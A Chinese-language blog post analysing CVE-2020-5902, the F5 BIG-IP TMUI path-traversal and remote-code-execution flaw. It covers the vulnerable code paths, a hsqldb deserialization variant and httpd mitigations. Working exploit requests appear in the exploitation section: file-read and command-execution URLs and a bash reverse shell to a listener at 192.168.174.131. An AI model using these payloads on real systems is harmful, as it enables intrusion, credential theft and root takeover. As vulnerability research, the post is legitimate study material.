CVE-2020-5902:F5 BIG-IP RCE分析研究

释放双眼,带上耳机,听听看~!

文章前言

近期关于CVE-2020-5902:F5 BIG-IP的EXP&POC满天飞,本篇文章则对该漏洞进行一个简单的剖析~

影响范围

  • BIG-IP = 15.1.0
  • BIG-IP = 15.0.0
  • BIG-IP 14.1.0 – 14.1.2
  • BIG-IP 13.1.0 – 13.1.3
  • BIG-IP 12.1.0 – 12.1.5
  • BIG-IP 11.6.1 – 11.6.5

漏洞类型

  • RCE
  • ReadFile
  • ListDirectory
  • Arbitrary File Upload

利用条件

  • 上述影响范围所列的F5 BIG-IP版本
  • 第一种EXP:在RCE以及反弹shell时需要近期有用户登录或者用户会话未过期
  • 第二种EXP: F5 BIG-IP未关闭Hysqldb(密码默认为空,而且在lib下的jar包中,不存在更改问题)

漏洞概述

F5 BIG-IP 是美国 F5 公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。
2020年7月初,有安全研究人员公开披露F5 BIG-IP产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞,并给出测试POC,攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行,进而控制F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等,该漏洞影响控制面板,不影响数据面板。

漏洞复现

环境搭建

虚拟机下载

首先去F5官网注册一个账号(ondxbz43867@chacuo.net/12345Qwert),并登陆:

之后进入下载页面,在这里我们下载v15.x系列的漏洞版本与修复版本进行分析测试,下载页面:https://downloads.f5.com/esd/productlines.jsp

下载存在漏洞的BIG-IP的ova文件:

之后下载修复版本的BIG-IP的ova文件到本地

虚拟机搭建

将两个ova文件导入VMware Workstations中:

启动之后会要求输入账号密码,BIG默认账号密码为root/default:

成功登陆之后会要求我们重置密码,这个密码为Web页面的登陆密码(该密码要有一定的复杂度,这里使用kvqasdt!q1与kvqasdt!q2)需要记住:


然后在命令行下输入”config”打开打开Configuration Utility工具来查看当前BIG-IP的IP地址信息:

一会儿之后你会看到如下界面信息:

之后点击”OK”,然后选择IPV4 IP地址:

之后你会看到当前BIG-IP主机的IP地址信息(BIGIP-15.1.0.0):

BIGIP-15.1.0.4的IP地址:

之后在浏览器中使用https://ip地址进行访问:

之后使用”admin/之前重置的密码”进行登录认证:

之后还需要再重置一次登录密码,这里重置为hkn!2gQWsgk,另外一个重置为hkn!2gQWsgk1

至此,我们已经拥有一个账号为admin/hkn!2gQWsgk的漏洞靶机,和一个账号为admin/hkn!2gQWsgk1的安全主机,下面我们进行简易测试~

漏洞利用

文件读取

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

执行结果:

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/profile_base.conf


其它路径可以参考:https://github.com/Al1ex/CVE-2020-5902/blob/master/common_path.txt

列目录项

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

命令执行

方式一:指令别名方式
Step 1:创建执行命令的模式,将list设置为bash的别名

tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

Step2:向创建的文件中写入要执行的命令

fileSave.jsp?fileName=/tmp/cmd&content=id


Step3:利用前面设置的list来执行文件中的命令
在无用户登录的情况下:

近期有用户登录的情况下:

Step4:最后清空list

方式二:tmsh命令语法
除了使用上面这种通过alias将bash设置别名来实现命令执行的效果外,我们还可以使用BIG-IP的一些内置的命令,例如:

  • list auth user——查看所有用户
  • list auth user admin ——仅仅查看admin用户
    有人可能会好奇,为什么方式一中要将bash的别名设置为list,而这里也是tmsh内置的list指令呢?这是因为在WorkspaceUtils.java文件中对operation操作类型有检测,只允许create\delete\list\modify四种类型,这在漏洞分析部分有详细描述~ 关于通过tmsh的list命令查看用户信息的描述可参考:https://devcentral.f5.com/s/question/0D51T00006i7hq9/tmsh-command-to-list-all-users-in-all-partitions

    ###反弹shell
    在反弹shell时我们可以通过上述的RCE来实现,其中第二种方式可能并不适用,在这里我们要通过alias将bash设置别名为list之后实现反弹shell的操作,具体的操作流程如下:
    Step 1:首先,创建执行命令的模式,将list设置为bash
    tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
    


    Step 2:创建包含反弹shell的命令并以文本文件形式保存(这里介绍bash方式的反弹shell的方式,其余的类似于perl、ruby等不再赘述)

    fileSave.jsp?fileName=/tmp/1.txt&content=bash+-i+>%26/dev/tcp/192.168.174.131/4444+0>%261
    


    成功写入到/tmp/1.txt

    Step 3:反弹shell回来


    其余的例如nc,python都可以正常反弹shell,有兴趣的可自我尝试,下面是构造方式:
    nc

    Python:

    ###文件上传

    /tmui/locallb/workspace/fileSave.jsp
    POST:
    fileName=/tmp/1.txt&content=CVE-2020-5902
    


之后通过文件读取来验证:

可以看到成功上传文件/tmp/1.txt~

漏洞分析

造成该漏洞的原因主要是Tomcat对于含有特殊符号的URL解析特性导致的权限校验绕过,之后通过未授权访问相关路由信息导致的文件读取、文件写入以及tmsh命令执行等,下面我们从三个方面来看:中间件的URL解析差异性、请求处理追溯、后端代码逻辑

解析差异简介

在WEB架构服务中,我们经常会碰到Tomcat与Nginx,Apache这三个服务,我们在这里首先做一个区别:

  • Apache:HTTP服务器是一个模块化的服务器,可以运行在几乎所有广泛使用的计算机平台上,其属于应用服务器。Apache本身是静态解析,适合静态HTML、图片等,但可以通过扩展脚本、模块等支持动态页面等,(Apche可以支持PHP,cgi(外部应用程序与Web服务器之间的接口)、perl,但是要使用Java的话,你需要Tomcat在Apache后台支撑,将Java请求由Apache转发给Tomcat处理。
  • Tomcat:Tomcat是应用(Java)服务器,它只是一个Servlet(JSP也翻译成Servlet)容器,可以认为是Apache的扩展,但是可以独立于Apache运行。
  • Nginx:Nginx是一个高性能的HTTP和反向代理服务器,同时也是一个IMAP/POP3/SMTP
    F5 BIG-IP采用的为Apache+Tomcat组合来处理JAVA应用,下面我们进入正式的话题!在这里我们以Orange在2018年的BlackHat的演讲文档中的一个类似的实例做介绍说明,在正常情况下我们访问login.getbynder.com时会要求我们先进行一次登录认证:


此时的服务器端的响应结果类似下图所示:


之后,我们通过在域名后直接添加”..;/x”并进行访问得到如下结果:


在fuzz过程中用到一下测试示例:


那么为什么会出现这种问题呢?是因为当Nginx以及Apache碰到”/..;/”时,他们会认为”/..;/”是一个目录,而Tomcat则很是无耐的表示”/..;/”应该是一个父级目录,需要向上递归一次:
Nginx VS Tomcat:

Apache VS Tomcat:

在这里我们可以利用以上解析特性来绕过权限检测访问需要登录后才可以访问页面:


其他的中间件解析差异对比效果如下
请求URL:https://www.example.com/foo;name=orange/bar/
解析对比:

回到我们的漏洞中,这里我们可以理解在F5 BIG-IP的后台服务器对收到了URL请求进行了两次的解析,第一次是httpd(Apache), 第二次是后一层的Java(tomcat),当我们发起请求:https://server/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash时,此时在URL在第一次被Apache解析时,Apache关注的是URL的前半段:
https://server/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
当Apache在看见前半段是合法URL且是允许被访问的页面时,就把它交给了后面的第二层,Apache在这里完全把URL里面关键的/..;/ 给无视了,此时做权限校验的只是前面的login.jsp而已~
在URL在第二次被解析时,后面的Java(tomcat)会把”/..;/”理解为向上返回一层路径,此时,,/login.jsp/ 和 /..;/ 会抵消掉,Tomcat看到的真正请求从
https://server/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
变成了:
https://server/tmui/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
之后去根据web.xml中的路由调用对应的类进行请求处理,关于解析差异性的更多细节与利用技巧可参考如下链接(值的细品):
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

请求处理追溯

首先我们从Web的配置文件/WEB-INF/web.xml看起,在这里我可以看到配置的Servlet的load-on-startup属性,该属性的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法),在这个属性中的可选内容必须为一个整数,表明了这个servlet被加载的先后顺序,当是一个负数时或者没有指定时,则表示服务器在该servlet被调用时才加载。当值为0或者大于0时,表示服务器在启动时就加载这个servlet,容器可以保证被标记为更小的整数的servlet比被标记为更大的整数的servlet更先被调用,还可以选择同样的load-on-start-up值来夹在servlets。
在这里我们留意到首先是加载com.f5.controller.Log4jInit类,该类的主要作用是配置log日志的记录,我们继续向下看:

之后我们发现了com.f5.controller.ControlServlet类同样配置了load-on-start-up属性,并指定了init()方法的参数信息:

之后,我们使用jd-gui分析依赖/WEB-INF/lib/tmui.jar,根据目录项依次找到 com.f5.controller.ControlServlet的init方法:

可以看到此处的init()方法首先是初始化了一些配置项,并根据配置项参数做相应的配置操作,在最后我们可以看到又调用了F5Controller类的init方法,并以之前的初始化值作为参数传递,我们继续跟进该Servlet类:

从上图中可以看到,这里只是做了一些简单的初赋值操作,我们返回原先的ControlServlet类,之后可以看到调用了F5WeebController类的initMapping方法:

之后跟进该类的intitleMapping方法,可以看到此处有转而调用了Mapping方法:

之后继续跟进,可以看到在该方法中分别读取了/WEB-INF/xml/requestmappings.xml、/WEB-INF/xml/responsemappings.xml:

/WEB-INF/xml/requestmappings.xml————请求地址handler映射(对应处理类方法):

/WEB-INF/xml/responsemappings.xml————响应地址handler映射(对应jsp文件):

之后继续返回com.f5.controller.ControlServlet,可以看到该类重新doGet方法与doPost方法,所以的请求都会经由这两种方法进行处理:

而doPOST中直接转发请求到了doGet内:

所以我们这里直接对doGet做一个简单的分析即可:

在这里可以看到首先是判断请求的处理是否能够提供分配数据库的连接,如果连接方式是1则连接mysql,如果连接方式是0则连接hsqldb。
之后我们继续向下分析,此时会实例化一个F5WebController类对象,并且将request等参数传递进去,之后跟进去发现除实例化操作外别无其他:

返回源文件继续分析,之后会调用request.getRemoteUser()方法获取请求数据中的用户名信息,之后根据用户名信息是否为空做逻辑判断,当用户名为空会通过F5Properties.getAPPlicationString方法来为用户名赋值(应用名称),如果添加一个请求属性”com.f5.corba.username”并为其赋值”username”,之后创建一个空的User对象实例,之后通过一个while循环来打印输出请求头信息,之后创建一个User示例并赋值给之前的空User示例user,然后判断用户的RoleId是否大于900,如果大于900则打印错误日志到控制台并直接返回(默认返回900):

同时会调用WebUtils.setPartitio进行一些赋值操作,具体如下:

在最后会去调用controller.processWebRequest()方法并将指向结果赋值给requestForwarded,当返回的requestForwarded的值为true时会继续调用fail函数来输出错误信息,并清空buffer:

之后跟进processWebRequest方法:

在函数开头处的61行调用Mappings.getRequestByURL(this.request.getPathInfo()) 方法来获取当前路由的requestMapping配置,我们跟进去会发现该方法会根据request.getPathInfo() 的Servlet路径返回相对应的Handler类名:

之后我们继续下面的逻辑分析,可以看到之后初始化了currentUserLeve为900,并通过User.getUser()来获取用户信息,如果用户信息不为空则进入if语句中继续调用示例化后的user的getRoleID来重置currentUserlevel,之后再调用requestHandler.getAllowedLevels来设置allowedLevels,之后依据allowedLevels的值并通过if判断来判别当前用户是否有访问目标URL的权限,此处因为路由访问权限校验:

User.haveAccessToAtLeastOneTargetLevel() 方法代码如下,可以看到此时会初始化一个Boolean变量的userHasAccess变量,并赋值为false,之后通过循环来比较当前用户的Role与要访问的目标URL所具备的Level(类似于权限)是否有匹配项,如果匹配则重置userHasAccess为true并返回,如果没有匹配项则返回初始化后userHasAccess的默认值,即False:

完整的用户角色对照表如下所示:

之后当有访问权限时则调根据/WEB-INF/web.xml 的路由调用对应的类进程处理:

在这里也许会有人问,此时的请求流程中不是使用了权限校验吗?而且使用的是getPathinfo()这种较为安全的方法来获取(其他的请求方法的安全性问题可以参考:https://xz.aliyun.com/t/7544,同时经过上面的分析也可以发现及时后端代码中使用较为安全的请求处理当服务器端配置不当依旧可能造成安全问题),为什么会有问题呢?我们下面捋一下:
恶意请求:https://server/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
Apache解析:https://server/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd(重点关注前面一部分,且允许被访问,转至Tomcat)
Tomcat解析:https://server/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd(见到/..;/后向上层回溯一次,改变原先URL)
request.getPathInfo():/tmui/login.jsp(获取原请求的中传递到Servlet的请求,在进行权限校验时对此路径的访问进行校验,login.jsp任意用户都可访问)
上面的流程已经很清晰了,这里不再赘述,下面我们来看后端的代码是如何实现的,准确定位到相关的文件与请求处理函数~

后端代码处理处理

文件读取

漏洞文件:tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\fileRead_jsp.class
文件分析:在漏洞文件fileRead_jsp.java程序中,我们可以看到对于一次文件读取请求首先会获取filename,之后根据传入的文件名称调用WorkspaceUtils.readFile()函数来读取文件,之后输出读取的结果

public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        HttpSession session = null;
        JspWriter out = null;
        JspWriter _jspx_out = null;
        PageContext _jspx_page_context = null;

        try {
            response.setContentType("text/html");
            PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
            _jspx_page_context = pageContext;
            ServletContext application = pageContext.getServletContext();
            ServletConfig config = pageContext.getServletConfig();
            session = pageContext.getSession();
            out = pageContext.getOut();
            out.write("\n\n\n\n");
            String fileName = WebUtils.getProperty(request, "fileName");

            try {
                JSONObject resultObject = WorkspaceUtils.readFile(fileName);
                out.print(resultObject.toString());
            } catch (IOException var19) {
                throw var19;
            }
        } catch (Throwable var20) {
            if (!(var20 instanceof SkipPageException)) {
                out = (JspWriter)_jspx_out;
                if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
                    try {
                        if (response.isCommitted()) {
                            out.flush();
                        } else {
                            out.clearBuffer();
                        }
                    } catch (IOException var18) {
                    }
                }

                if (_jspx_page_context == null) {
                    throw new ServletException(var20);
                }

                _jspx_page_context.handlePageException(var20);
            }
        } finally {
            _jspxFactory.releasePageContext(_jspx_page_context);
        }

之后我们可以从导入包中看到WorkspaceUtils来自:com.f5.tmui.locallb.handler.workspace.WorkspaceUtils

所以我们依旧使用JD-GUI来查找,之后找到WorkspaceUtils.readFile()代码如下所示,非常简单,直接读取文件内容并返回,在整个流程中未对读取的fileName的path路径做校验与限制(例如:使用白名单+start.with()来限制目录等方法),同时为对当前用户进行二次鉴权操作,鉴权只停留在请求处理中,在Servlet处理过程中未做权限检查(这一点在开发中应该值得深思,做权限校验可以加强权限机制,同时在一定程度上规避由于中间件配置不当或解析特性造成的安全问题)

所以,整个文件读取中,我们无需再次进行权限校验,filename可以任意指定,由于权限校验在之前的请求处理流程中已经被绕过,也就是说我们只要访问到该文件并向其发送一个请求即可实现任意文件读取了,So Easy~

列目录项

这个漏洞准确的来说应该是”列目录”,只是为了对其规范一下,所以加了一个字,看的顺眼一些,算是”强迫症”吧~
漏洞文件:tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\directoryList_jsp.class
文件分析:directoryList_jsp的核心代码如下所示:

public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        HttpSession session = null;
        JspWriter out = null;
        JspWriter _jspx_out = null;
        PageContext _jspx_page_context = null;

        try {
            response.setContentType("text/html");
            PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
            _jspx_page_context = pageContext;
            ServletContext application = pageContext.getServletContext();
            ServletConfig config = pageContext.getServletConfig();
            session = pageContext.getSession();
            out = pageContext.getOut();
            out.write("\n\n\n\n");
            String directoryPath = WebUtils.getProperty(request, "directoryPath");

            try {
                JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
                out.print(resultObject);
            } catch (IOException var19) {
                throw var19;
            }
        } catch (Throwable var20) {
            if (!(var20 instanceof SkipPageException)) {
                out = (JspWriter)_jspx_out;
                if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
                    try {
                        if (response.isCommitted()) {
                            out.flush();
                        } else {
                            out.clearBuffer();
                        }
                    } catch (IOException var18) {
                    }
                }

                if (_jspx_page_context == null) {
                    throw new ServletException(var20);
                }

                _jspx_page_context.handlePageException(var20);
            }
        } finally {
            _jspxFactory.releasePageContext(_jspx_page_context);
        }

在这里依旧未做二次权限校验,直接获取directoryPath的值,之后将其作为参数传递给WorkspaceUtils.listDirectory进行逻辑处理,并将结果打印显示,我们继续跟进到WorkspaceUtils.listDirectory函数看看:

可以看到,此处会调用listDirectoryRecursive并以directory以及children作为参数传递,我们跟进去看看,此处通过一个递归来读取显示所有的文件名称,具体逻辑如下所示,点很简单,不再赘述:

命令执行

文件路径:tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\tmshCmd_jsp.class
文件内容:tmshCmd_jsp核心操作代码如下所示

public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        HttpSession session = null;
        JspWriter out = null;
        JspWriter _jspx_out = null;
        PageContext _jspx_page_context = null;

        try {
            response.setContentType("text/html");
            PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
            _jspx_page_context = pageContext;
            ServletContext application = pageContext.getServletContext();
            ServletConfig config = pageContext.getServletConfig();
            session = pageContext.getSession();
            out = pageContext.getOut();
            out.write("\n\n\n\n\n\n");
            F5Logger logger = (F5Logger)F5Logger.getLogger(this.getClass());
            String tmshResult = "";
            String cmd = WebUtils.getProperty(request, "command");
            if (cmd != null && cmd.length() != 0) {
                JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
                tmshResult = resultObject.toString();
            } else {
                logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
            }

            out.write(10);
            out.write(10);
            out.print(tmshResult);
            out.write(10);
        } catch (Throwable var20) {
            if (!(var20 instanceof SkipPageException)) {
                out = (JspWriter)_jspx_out;
                if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
                    try {
                        if (response.isCommitted()) {
                            out.flush();
                        } else {
                            out.clearBuffer();
                        }
                    } catch (IOException var19) {
                    }
                }

                if (_jspx_page_context == null) {
                    throw new ServletException(var20);
                }

                _jspx_page_context.handlePageException(var20);
            }
        } finally {
            _jspxFactory.releasePageContext(_jspx_page_context);
        }

从上述代码中我们可以看到此处依旧未做二次校验认证,从请求中获取参数command之后赋值给cmd,之后再将cmd作为参数传递给WorkspaceUtils.runTmshCommand:

下面我们继续跟踪一下WorkspaceUtils.runTmshCommand的处理流程,我们可以看到此处对command的合法性进行了校验,同时对操作类型进行了匹配看是否是create、delete、list、modify,这设计到tmsh命令集,有兴趣了解的可以百度一下,你想要的有很多,同时这里也说明了我们当初在漏洞利用阶段为什么要将bash设置别名为list,而不是直接使用bash来执行命令,回忆一下看看!!!之后我们可以看到我们的command直接通过该调用Syscall.CallExec去执行命令,此时参数为Syscall.callEvelated

下面我们继续跟踪到callElevated中看看:

在这里调用当前类的call方法,注意此时传入的第三个参数哦,之后继续跟踪进入call,从下图可以看到,此时首先对要执行的命令的合法性做一个检查(),之后对命令进行匹配以及权限校验,此时的elevated为刚才传进去的”true”,之后创建DataObject对象实例,并通过通过om.queryStats(query)来执行并返回最后的结果,之后返回:

关于tmsh的更多命令请自行百度~

文件上传

文件路径:tmui1\WEB-INF\classes\org\apache\jsp\tmui\locallb\workspace\fileSave_jsp.class
文件分析:文件核心代码如下所示

public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        HttpSession session = null;
        JspWriter out = null;
        JspWriter _jspx_out = null;
        PageContext _jspx_page_context = null;

        try {
            response.setContentType("text/html");
            PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
            _jspx_page_context = pageContext;
            ServletContext application = pageContext.getServletContext();
            ServletConfig config = pageContext.getServletConfig();
            session = pageContext.getSession();
            out = pageContext.getOut();
            out.write(10);
            out.write(10);
            out.write(10);
            String fileName = WebUtils.getProperty(request, "fileName");
            String content = WebUtils.getProperty(request, "content");

            try {
                WorkspaceUtils.saveFile(fileName, content);
            } catch (IOException var20) {
                throw var20;
            }

            out.write(10);
        } catch (Throwable var21) {
            if (!(var21 instanceof SkipPageException)) {
                out = (JspWriter)_jspx_out;
                if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
                    try {
                        if (response.isCommitted()) {
                            out.flush();
                        } else {
                            out.clearBuffer();
                        }
                    } catch (IOException var19) {
                    }
                }

                if (_jspx_page_context == null) {
                    throw new ServletException(var21);
                }

                _jspx_page_context.handlePageException(var21);
            }
        } finally {
            _jspxFactory.releasePageContext(_jspx_page_context);
        }

从上述代码中可以看到,此处依旧未做二次校验,直接获取filename以及content并将其作为参数传递给WorkspaceUtils.saveFile()函数,下面我们跟进该函数进行分析:
saveFile函数代码如下所示,从这里可以直接根据提供的文件名创建文件并写入内容,之后赋予权限与改变文件拥有者完成写文件操作(其实准确来说应该是创建文件,而不是上传文件,不过由于文件名以及文件路径和文件内容可控,可以说是一个间接性的文件上传):

关于EXP的思考

在这里我们要提到一个EXP:https://github.com/jas502n/CVE-2020-5902
首先,说一下曲折的道路:在该EXP的项目中,我们注意到了几个类似于上面文件分析的代码文件,刚开始笔者以为这应该是存在漏洞的文件,结果跟踪了一下发现存在矛盾,感觉此处的设置应该不会导致安全问题,权限校验以及逻辑非常清晰,可以说很nice~,之后无奈的去微信公众号中找了一些相关的文章发现很多都是关于漏洞复现的,很是无语,于是再找….,过了一段时间(大概半天),找到了一篇文件,结果发现该国内知名安全公司的分析进竟然也是拿着这个文件进行了一波分析,而且跳过了关键的一些操作,例如isFileWhitelisted等,笔者觉得很是不对,于是剩下的就是想方法获取源码了,之后搭建靶机,发现开启SSH端口,且密码为初始设置的密码,所以不再为内部”内部”只读的事情烦恼,直接SSH连接上去,之后下载下来,导入IDEA分析~
之所以说上面的这些是因为,如果有人去分析的话不要再去拿这个代码去分析了,同时也表明该代码在逻辑设计上的安全设计值的思考与学习,可以说是JAVA开发人员的一个很好的借鉴点,这里以文件读取为例对其安全机制做说明:
核心点如下所示:

public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
      HttpSession session = null;
      JspWriter out = null;
      JspWriter _jspx_out = null;
      PageContext _jspx_page_context = null;

      try {
         response.setContentType("text/html");
         PageContext pageContext = _jspxFactory.getPageContext(this, request, response, (String)null, true, 8192, true);
         _jspx_page_context = pageContext;
         ServletContext application = pageContext.getServletContext();
         ServletConfig config = pageContext.getServletConfig();
         session = pageContext.getSession();
         out = pageContext.getOut();
         out.write("\n\n\n\n\n\n\n\n\n\n\n");
         String fileName = WebUtils.getProperty(request, "fileName");
         String username = request.getRemoteUser();
         Enumeration headerNames = request.getHeaderNames();
         Map headers = new HashMap();
         if (username == null) {
            username = F5Properties.getApplicationString("auth.override_user");
         }

         while(headerNames.hasMoreElements()) {
            String headerName = (String)headerNames.nextElement();
            headers.put(headerName, request.getHeader(headerName));
         }

         User user = new User(username, headers);
         UsernameHolder.setUser(user);

         try {
            if (!WorkspaceUtils.isFileWhitelisted(fileName)) {
               throw new IllegalAccessException("Forbidden to access file " + fileName);
            }

            if (!WorkspaceUtils.userCanAccessPartition(user, fileName, false)) {
               throw new IllegalAccessException("Forbidden to access file " + fileName);
            }

            JSONObject resultObject = WorkspaceUtils.readFile(fileName);
            out.print(resultObject.toString());
         } catch (IOException var24) {
            throw var24;
         } catch (IllegalAccessException var25) {
            throw var25;
         }
      } catch (Throwable var26) {
         if (!(var26 instanceof SkipPageException)) {
            out = (JspWriter)_jspx_out;
            if (_jspx_out != null && ((JspWriter)_jspx_out).getBufferSize() != 0) {
               try {
                  if (response.isCommitted()) {
                     out.flush();
                  } else {
                     out.clearBuffer();
                  }
               } catch (IOException var23) {
               }
            }

            if (_jspx_page_context == null) {
               throw new ServletException(var26);
            }

            _jspx_page_context.handlePageException(var26);
         }
      } finally {
         _jspxFactory.releasePageContext(_jspx_page_context);
      }

在上述代码中在直接使用readFie之前会对filename进行一次校验:

之后跟进该函数中,可以看到会使用getCanonicalPath()来获取当前文件名的路径信息,同时该函数会过滤掉路径中类似于”..”的特殊符号,这是其一,另外在这里会创建一个whilelistDirSet的迭代器并结合while循环来依次判断当前的filename是否在白名单中,当然此时的比较对象为realDirPath即父级目录的绝对路径信息:

在这里我看一下whilelistDirSet,可以看到添加的白名单有”/var/ilx/workspaces/”, “/var/sdm/plugin_store/plugins/”

之后还有一个有意思的地方是还会对当前操作的用户进行一次全新校验检测,函数WorkspaceUtils.userCanAccessPartition如下所示,自己分析即可:

在这之后我们才可以进行文件读取,假设我们的主机上存在之前所说的漏洞,那么我们后端的代码改成这样可以有效防御吗?答案是:一定程度上可以,至少在这里是可以的,因为整个文件系统体系结构庞大也说不是上还有其他的地方存在相关的漏洞,这也不好说~ 还有一个就是再进行命令执行时,有一次CSRF Token校验,这也值得学习与借鉴:

在该EXP中的java文件可以说是一种很好的修复策略,涉及到了以下几点:
1、二次权限校验
2、白名单策略限制文件读取的路径
3、采用CSRF Token机制
4、命令合法性检测机制
当然,该漏洞要想规避的最佳策略还是需要结合服务器端的配置以及后端代码的来进行修复~

NewPOC

2020年7月7日,TEAM ARES安全研究团队披露出一则新的POC,该POC使用JAVA反序列化配合CVE-2020-5902漏洞来执行命令,涉及的类正是org.hsqldb.util.scriptool.main,整个思路较为新颖,而且前一种EXP的利用需要近期有用户进行登录操作才可以实现RCE以及反弹shell,如果没有用户登录则只能读取一些服务器端可读文件以及可读目录下的文件内容,而该EXP一方面可以躲避WAF的检测与拦截(就目前而言),另一方面由于F5 BIG-IP默认在初始化状态下会运行Hysql,导致攻击者可以通过远程访问并利用org.hsqldb.util.scriptool.main自身的反序列化Gadget来实现RCE,该EXP利用范围显得更加广泛,整个故事如下:
TEAM ARES首先对官方给出的补丁进行了分析:
官方给出的缓解措施中通过修改配置项来规避路径穿越造成的文件读取以及命令执行:
https://support.f5.com/csp/article/K52145254

之后通过比较漏洞版本15.1.0 和修改版本15.1.0.4.发现有很多不同点,首先是配置项发生了变化,该配置项使得当攻击者企图通过..;/来达访问未授权的页面时都会被重定向到404页面:

还有一个特殊的点就是Apache configuration中的/hsqldb被移除了:

在正常情形下我们直接请求hsqldb是会被重定向到登陆认证页面:

但是,发现在请求URL后面追加分号”;”后即可绕过认证,正常访问hsqldb:

那么通过/hsqldb我们又可以做点什么呢?之后了解到hypersql是java应用程序使用的嵌入式关系数据库,其某些方法可能存在被滥用的风险。
刚开始,我们尝试使用用户定义函数(UDF),然而我们发现该特性在1.8版中不可用,不过幸运的是我们发现我们可以调用本机java函数以及服务器可用的任何方法,主要限制是它必须是静态方法,之后在hsqldb源代码中寻找静态方法,我们发现org.hsqldb.util.scriptool.main()方法反序列化了一个表示为ascii十六进制字符串的java对象,这看起来非常有利用价值,所以我们尝试使用sqltool来手动调用它,并遇到了“序列化失败”错误:

从上面的错误消息中我们可以看到只需要将enableunsafeserialization属性设置为true,即可成功执行payload,此时,我们证明了经过身份验证的远程代码执行是可能的,之后试图使用/hsqldb;来绕过原先的身份认证并实现RCE,结果post请求导致了连接错误,所以我们再次查看了缓解措施中的建议——regex”...;. “并注意到原Bypass是”..;”,然后,我们改变了Exploit,使其直接访问hqsldb:

完整的EXP:https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902(需要使用JDK 11\hsqldb.jar 1.6\ysoserial)

在该EXP中hsqldb主要用于提供org.hsqldb库文件,f5RCE.java用于调用org.hsqldb.util.ScriptTool.main()来反序列化payload(在此之前会通过jdbc来远程访问目标主机的hsqldb),这里更加通俗的说可以是远程连接hsqldb之后得到一个交互端并通过org.hsqldb.util.ScriptTool.main()来反序列化我们的攻击者载荷从而达到RCE:

CVE-2020-5902.sh通过openssl来提取证书,并通过keytool来将证书或证书链加到可信任证书的清单中(主要是解决443证书信任问题),之后通过ysoserial利用CC6来生成nc.class,之后生成十六进制的payload.hex,并通过javac命令编译f5RCE.java(此时的资源类来自hsqldb.jar),最后执行f5RCE并向远程目标主机发送攻击载荷:

目前已经有检测到该POC相关攻击流量,具体如下图所示:

同时检测到使用上述方法获取到的shell为root权限,攻击者可在反弹的shell中创建root权限的系统帐户:

补充说明:关于这个漏洞,笔者从原靶机下载hsqldb.jar包并导入JD-GUI进行分析时,首先定位到关键的函数org.hsqldb.ScriptTool.class的main函数中,并跟踪了整个流程,发现并未出现反序列化的操作,之后全局搜索关键词deserialize发现在getObject处被调用,之后反向追溯getObject函数的调用点,发现Function.class与Column.class两处,之后在Column中对函数convertObject进行溯源,发现在jdbcPreparedStatement.class处被调用,之后再次溯源函数setParameter发现setAsciiStream处被调用,这是较为符合TEAM ARES在描述中所说“反序列化了一个表示为ascii十六进制字符串的java对象”,但是在ScriptTool中执行过程中并未调用,除非是参数处理时先对参数的输入流进行解析规范化;另外对Function.class中的函数getArguments进行跟踪溯源到getValue(),这里依旧未在org.hsqldb.ScriptTool.class的main函数执行过程中找到,关于这两点笔者并不确定,所以也不在进行深入了,相关截图也不放进来了,整个文章的篇幅已经过长了,有兴趣的可以研究一下,关于原代码中的核心代码以及原EXP、New EXP还有jar包都放在了GitHub上:https://github.com/Al1ex/CVE-2020-5902

防御措施

缓解措施

1、登陆 TMOS Shell(tmsh)执行

tmsh

2、修改 httpd 配置信息

edit /sys httpd all-properties

3、文件内容如下

include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'

4、按照以下操作保存文件

按下 ESC 并依次输入
 :wq

